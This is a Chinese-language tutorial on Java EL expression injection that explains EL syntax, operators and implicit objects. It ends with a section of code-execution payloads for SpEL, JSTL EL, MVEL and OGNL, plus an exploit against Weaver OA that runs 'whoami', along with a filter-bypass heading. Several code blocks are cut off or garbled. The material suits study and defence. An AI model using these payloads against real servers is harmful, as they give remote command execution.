
EL表达式注入
主要功能
EL表达式主要功能如下
[!NOTE]
获取数据:EL表达式主要用于替换JSP页面中的脚本表达式, 以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象, 访问JavaBean的属性、访问List集合、访问Map集合、访问数组).执行运算: 利用
EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算, 以在JSP页面中完成一些简单的逻辑运算, 例如${user==null}.获取
Web开发常用对象:EL表达式定义了一些隐式对象, 利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用, 从而获得这些对象中的数据.调用
Java方法:EL表达式允许用户开发自定义EL函数, 以在JSP页面中通过EL表达式调用Java类的方法.
特点
可得到PageContext属性值.
[!NOTE]
可直接访问JSP的内置对象, 如page,request,session,application等.运算符丰富, 有关系运算符、逻辑运算符、算术运算符等.
扩展函数可与
JAVA类的静态方法对应.
基本语法
所有EL表达式的格式都是以${}表示,例如 ${userinfo}代表获取变量userinfo的值.当EL表达式中的变量不给定范围时,则默认在page范围查找,然后依次在request,session,application范围查找,也可以用范围作为前缀表示属于哪个范围的变量,例如 ${pageScope.userinfo}表示访问page范围中的userinfo变量
[]与.运算符
当要存取的属性名称中包含一些特殊字符,如.或-等非字母或数字的符号,就一定要使用[],例如${user.My-Name}就要改为 ${user["myname"]}
如果要动态取值时, 就可以用[]来做, 而.无法做到动态取值, 例如:${sessionScope.user[data]}中data是一个变量.
变量
EL表达式存取变量数据的方法很简单, 例如:${username}. 它的意思是取出某一范围中名称为username的变量. 因为我们并没有指定哪一个范围的username, 所以它会依序从Page、Request、Session、Application范围查找. 假如途中找到username, 就直接回传, 不再继续找下去, 但是假如全部的范围都没有找到时, 就回传"".
操作符
JSP表达式语言提供以下操作符, 其中大部分是Java中常用的操作符:
| 术语 | 定义 |
|---|---|
| 算术型 | +、-(二元)、*、/、div、%、mod、-(一元). |
| 逻辑型 | and、&&、or、` |
| 关系型 | ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge. 可以与其他值进行比较, 或与布尔型、字符串型、整型或浮点型文字进行比较. |
| 空 | empty空操作符是前缀操作, 可用于确定值是否为空. |
| 条件型 | A ? B : C. 根据A赋值的结果来赋值B或C. |
隐式对象
JSP表达式语言定义了一组隐式对象, 其中许多对象在JSP Scriplet和表达式中可用:
| 术语 | 定义 |
|---|---|
| pageContext | JSP页的上下文, 可以用于访问JSP隐式对象, 如请求、响应、会话、输出、servletContext等. 例如,${pageContext.response}为页面的响应对象赋值. |
此外, 还提供几个隐式对象, 允许对以下对象进行简易访问:
| 术语 | 定义 |
|---|---|
| param | 将请求参数名称映射到单个字符串参数值(通过调用ServletRequest.getParameter(String name)获得).getParameter(String)方法返回带有特定名称的参数. 表达式${param.name}相当于request.getParameter(name). |
| paramValues | 将请求参数名称映射到一个数值数组(通过调用ServletRequest.getParameter(String name)获得). 它与param隐式对象非常类似, 但它检索一个字符串数组而不是单个值. 表达式${paramvalues.name}相当于request.getParamterValues(name). |
| header | 将请求头名称映射到单个字符串头值(通过调用ServletRequest.getHeader(String name)获得). 表达式${header.name}相当于request.getHeader(name). |
| headerValues | 将请求头名称映射到一个数值数组(通过调用ServletRequest.getHeaders(String)获得). 它与头隐式对象非常类似, 表达式${headerValues.name}相当于request.getHeaderValues(name). |
| cookie | 将cookie名称映射到单个cookie对象. 向服务器发出的客户端请求可以获得一个或多个cookie. 表达式${cookie.name.value}返回带有特定名称的第一个cookie值. 如果请求包含多个同名的cookie, 则应该使用${headerValues.name}表达式. |
| initParam | 将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name)获得). |
除了上述两种类型的隐式对象之外, 还有些对象允许访问多种范围的变量, 如Web 上下文、会话、请求、页面:
| 术语 | 定义 |
|---|---|
| pageScope | 将页面范围的变量名称映射到其值. 例如,EL表达式可以使用${pageScope.objectName}访问一个JSP中页面范围的对象, 还可以使用${pageScope.objectName.attributeName}访问对象的属性. |
| requestScope | 将请求范围的变量名称映射到其值, 该对象允许访问请求对象的属性. 例如,EL表达式可以使用${requestScope.objectName}访问一个JSP请求范围的对象, 还可以使用${requestScope.objectName.attributeName}访问对象的属性. |
| sessionScope | 将会话范围的变量名称映射到其值, 该对象允许访问会话对象的属性. 例如,${sessionScope.name}. |
| applicationScope | 将应用程序范围的变量名称映射到其值, 该隐式对象允许访问应用程序范围的对象. |
函数
1 | ${ns:func(param1, param2, ...)} |
用el表达式调用函数必须使用taglib引入你的标签库
调用Java方法
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
表达式注入实例
通用POC
1 | ${pageContext} |
Struts2 OGNL
1 | @[类全名(包括包路径)]@[方法名 | 值名],例如: |
实例代码
1 | ActionContext AC = ActionContext.getContext(); |
Spring SPEL
1 | String expression = "T(java.lang.Runtime).getRuntime().exec(/"calc/")"; |
JSP JSTL_EL
1 | <spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}"> |
Elasticsearch MVEL
1 | String expression = "new java.lang.ProcessBuilder(/"calc/").start();"; |
泛微OA EL表达式注入
1 | login.do?message=.apache.commons.io.IOUtils |
或者POST
1 | message=(#_memberAccess=.OgnlContext).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(.apache.commons.io.IOUtils)).(#w.close())&cmd=whoami |
1 | POST /weaver/bsh.servlet.BshServlet |
字符串拼接绕过对字符串的检测
1 |
|
